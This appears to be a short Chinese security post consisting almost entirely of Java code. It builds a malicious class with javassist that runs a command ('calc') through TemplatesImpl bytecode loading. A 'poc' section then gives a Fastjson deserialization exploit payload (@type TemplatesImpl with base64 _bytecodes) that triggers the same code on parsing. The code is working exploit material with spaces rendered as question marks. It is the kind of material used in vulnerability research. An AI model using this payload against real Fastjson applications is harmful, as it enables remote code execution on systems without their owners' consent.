利用TemplatesImpl加载字节码

package?com.naihe;

import?com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import?com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import?javassist.ClassPool;
import?javassist.CtClass;

import?java.lang.reflect.Field;
import?java.util.Base64;

public?class?TL?{
????private?static?void?setFiledValue(Object?obj,?String?fieldName,?Object?fieldValue)?throws?Exception?{
????????Field?field?=?obj.getClass().getDeclaredField(fieldName);
????????field.setAccessible(true);
????????field.set(obj,?fieldValue);
????}
????public?static?void?main(String[]?args)?{
????????try?{
????????????ClassPool?classPool=ClassPool.getDefault();
????????????String?AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
????????????classPool.appendClassPath(AbstractTranslet);
????????????CtClass?payload=classPool.makeClass("CommonsCollections3");
????????????payload.setSuperclass(classPool.get(AbstractTranslet));
????????????payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
????????????byte[]?codes=payload.toBytecode();

????????????byte[][]?_bytecodes?=?new?byte[][]?{
????????????????????codes,
????????????};
????????????TemplatesImpl?templates?=?new?TemplatesImpl();
????????????setFiledValue(templates,?"_bytecodes",?_bytecodes);
????????????setFiledValue(templates,?"_name",?"whatever");
????????????setFiledValue(templates,?"_tfactory",?new?TransformerFactoryImpl());
????????????templates.newTransformer();
????????}?catch?(Exception?e)?{
????????????e.printStackTrace();
????????}
????}

}

?

poc:

package?com.naihe;

import?com.alibaba.fastjson.JSON;
import?com.alibaba.fastjson.parser.Feature;
import?com.alibaba.fastjson.parser.ParserConfig;
import?javassist.CannotCompileException;
import?javassist.ClassPool;
import?javassist.CtClass;
import?javassist.NotFoundException;

import?java.io.IOException;
import?java.util.Base64;

public?class?fastjson?{
????public?static?void?main(String[]?args)?throws?CannotCompileException,?IOException,?NotFoundException?{
????????ParserConfig?config?=?new?ParserConfig();
????????ClassPool?classPool=ClassPool.getDefault();
????????String?AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
????????classPool.appendClassPath(AbstractTranslet);
????????CtClass?payload=classPool.makeClass("CommonsCollections3");
????????payload.setSuperclass(classPool.get(AbstractTranslet));
????????payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
????????String?str?=?Base64.getEncoder().encodeToString(payload.toBytecode());


????????String?text?=?"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{?},\"_outputProperties\":{?}}";


????????Object?obj?=?JSON.parseObject(text,?Object.class,?config,?Feature.SupportNonPublicField);
????}
}

?